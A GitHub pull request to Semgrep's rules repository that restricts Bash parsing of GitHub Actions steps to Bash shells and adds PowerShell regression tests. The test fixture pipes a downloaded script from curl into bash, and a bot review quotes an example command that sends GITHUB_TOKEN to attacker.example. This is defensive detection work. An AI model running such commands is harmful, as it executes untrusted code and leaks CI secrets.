Skip to content

fix: avoid Bash parsing for non-Bash action steps - #4047

Open
fusiontechstrategies wants to merge 1 commit into
semgrep:developfrom
fusiontechstrategies:fusiontechstrategies/fix-gha-powershell-parser
Open

fix: avoid Bash parsing for non-Bash action steps#4047
fusiontechstrategies wants to merge 1 commit into
semgrep:developfrom
fusiontechstrategies:fusiontechstrategies/fix-gha-powershell-parser

Conversation

@fusiontechstrategies

Copy link
Copy Markdown

Link to an issue, if relevant

Fixes #4001

Summary

  • Limit nested Bash parsing to steps that use the default shell or explicitly select Bash or sh
  • Preserve findings for explicit Bash steps
  • Add regression coverage for PowerShell workflow steps that previously produced partial-parsing errors

Validation

  • Affected rule tests pass with Semgrep 1.176.0
  • Full GitHub Actions security-rule suite passes with Semgrep 1.169.0
  • Rule configuration and metadata validation pass
  • Repository pre-commit hooks pass in Linux
  • Semgrep default ruleset reports zero findings in the changed rule definitions
  • Detect-secrets and Gitleaks report zero findings

- Preserve matching for default and explicit Bash steps
- Add PowerShell regression coverage

Fixes semgrep#4001
@CLAassistant

CLAassistant commented Sep 2, 2026

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.


- shell: bash
# ruleid: gha-curl-pipe-shell
run: curl -fsSL https://example.com/install.sh | bash

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

curl downloads install.sh from example.com and pipes it directly into bash, so any attacker-controlled change to that URL runs on the CI runner immediately.

More details about this

This step downloads https://example.com/install.sh with curl -fsSL and sends the response straight into bash. If someone can change what that URL serves—through a compromised server, DNS hijack, or a tampered dependency endpoint—they can make your GitHub Actions runner execute their script immediately.

Plausible exploit path:

  1. An attacker gets control of https://example.com/install.sh or intercepts traffic to it.
  2. They replace the installer with a script such as echo $GITHUB_TOKEN | curl -X POST https://attacker.example/leak --data-binary @-.
  3. In this run: step, curl fetches that attacker-controlled content and the pipe sends it directly to bash.
  4. bash runs the script on the CI runner with the job's environment, letting the attacker read secrets, modify checked-out code, or use the workflow token to push changes or access other GitHub resources.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: curl -fsSL https://example.com/install.sh | bash
run: |
curl -fsSL https://example.com/install.sh -o /tmp/install.sh
# Replace the placeholder below with the vendor-published SHA-256 for the exact script/version being downloaded.
echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -
bash /tmp/install.sh
View step-by-step instructions
  1. Replace the pipe-to-shell command with separate download, verification, and execution steps instead of curl ... | bash.
  2. Download the installer to a temporary file with curl -fsSL https://example.com/install.sh -o /tmp/install.sh or wget -q https://example.com/install.sh -O /tmp/install.sh.
  3. Verify the downloaded file before executing it, for example with a pinned checksum: echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -.
    This prevents a modified remote script from being executed in the runner.
  4. Execute the local file only after verification succeeds, for example with bash /tmp/install.sh.
  5. If the vendor offers a versioned release artifact, prefer pinning that exact version in the URL and storing the matching checksum in the workflow or in a checked-in helper script, such as VERSION="1.2.3" and curl -fsSL "https://example.com/downloads/${VERSION}/install.sh" -o /tmp/install.sh.
  6. If this install logic is reused, move it into a checked-in script and keep the pinned VERSION and SHA256 together there, then call that script from the workflow instead of embedding curl ... | bash in run:.

Alternatively, if the vendor provides signed packages or native package manager support, install the tool from that trusted package source and verify the signature instead of executing a remote shell script.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by gha-curl-pipe-shell.

You can view more details about this finding in the Semgrep AppSec Platform.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

/ar Intentional positive test fixture. The ruleid annotation asserts that this unsafe command is detected when shell: bash is explicit; replacing it with a safe sequence would remove the regression coverage.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

GitHub Actions curl rules parse explicit PowerShell steps as Bash

2 participants